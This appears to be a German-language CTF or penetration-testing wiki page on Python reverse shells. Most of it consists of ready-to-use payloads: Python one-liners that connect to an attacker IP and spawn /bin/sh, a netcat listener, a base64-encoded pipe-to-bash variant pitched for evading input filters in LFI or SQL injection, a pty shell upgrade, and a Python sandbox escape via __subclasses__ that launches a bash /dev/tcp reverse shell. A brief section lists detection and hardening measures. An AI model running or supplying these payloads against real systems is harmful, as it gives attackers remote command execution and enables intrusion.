Python Shells
Beispiel: Python Reverse Shell mit socket
und os
socket
und os
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Auf Angreifer-Seite:
nc -lvnp 4444
Baut TCP-Verbindung zu Angreifer auf
Leitet Ein-/Ausgabe auf Shell um
Funktioniert auf fast allen Linux-Systemen mit Python
Einleitung
Python Shells sind Reverse Shells, die in Python geschrieben sind. Sie bieten mehr Kontrolle und Stabilität als viele andere Shell-Varianten, da Python direkten Zugriff auf Netzwerk, Prozesse und Dateisystem erlaubt. Besonders in CTFs sind sie wegen ihrer Flexibilität und Kompatibilität beliebt.
Wann und warum Python Shells verwenden?
Typische Szenarien:
Zielsystem hat Python, aber kein Netcat oder Bash
Du brauchst eine stabile Shell mit einfacher TTY-Integration
Exploits, die nur kurze Befehle oder Payloads erlauben
Vorteile:
Weit verbreitet (meistens vorinstalliert)
Leicht anpassbar (Port, Protokoll, Payload-Form)
Gut kombinierbar mit Shell Upgrade (z. B.
pty.spawn()
)
Nachteile:
Kein TTY von Haus aus
Python kann deaktiviert oder entfernt sein (minimalisierte Systeme)
Weitere Payload-Beispiele
Einfache Variante (funktioniert auch mit Python 2)
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
Base64-kodiert (für LFI, Filter, SQLi)
echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0Li4u' | base64 -d | bash
Tipp: Oft verwendet bei restriktiven Eingabefeldern oder Payload-Kodierung
Technische Voraussetzungen
Python-Version
2.6+, 3.x
Funktionen
socket
, subprocess
, os
Netzwerkzugriff
Ziel muss ausgehende Verbindung erlauben
Listener
Standard TCP (z. B. Netcat)
Shell Upgrade
Nach erfolgreicher Verbindung kann die Shell mit Python selbst verbessert werden:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Weitere Schritte: siehe Shell Upgrade
Sicherheit und Erkennung
Entfernen von Python-Interpreter
Verhindert Ausführung vollständig
Application Whitelisting
Nur autorisierte Skripte erlauben
IDS/IPS
Erkennung typischer Socket-Muster in Reverse Shells
Network Monitoring
Kontrolle ausgehender Ports und IPs
Popen
Wenn man zugriff auf alle Classes hat bzw. eine Übersicht, und POPEN zugelassen sit kann folgendes verwendet werden
raise Exception(str((()) .__class__.__bases__[0].__subclasses__()[317](
"bash -c 'bash -i >& /dev/tcp/your_IP/4444 0>&1'", shell=True, stdout=-1).communicate()))
Last updated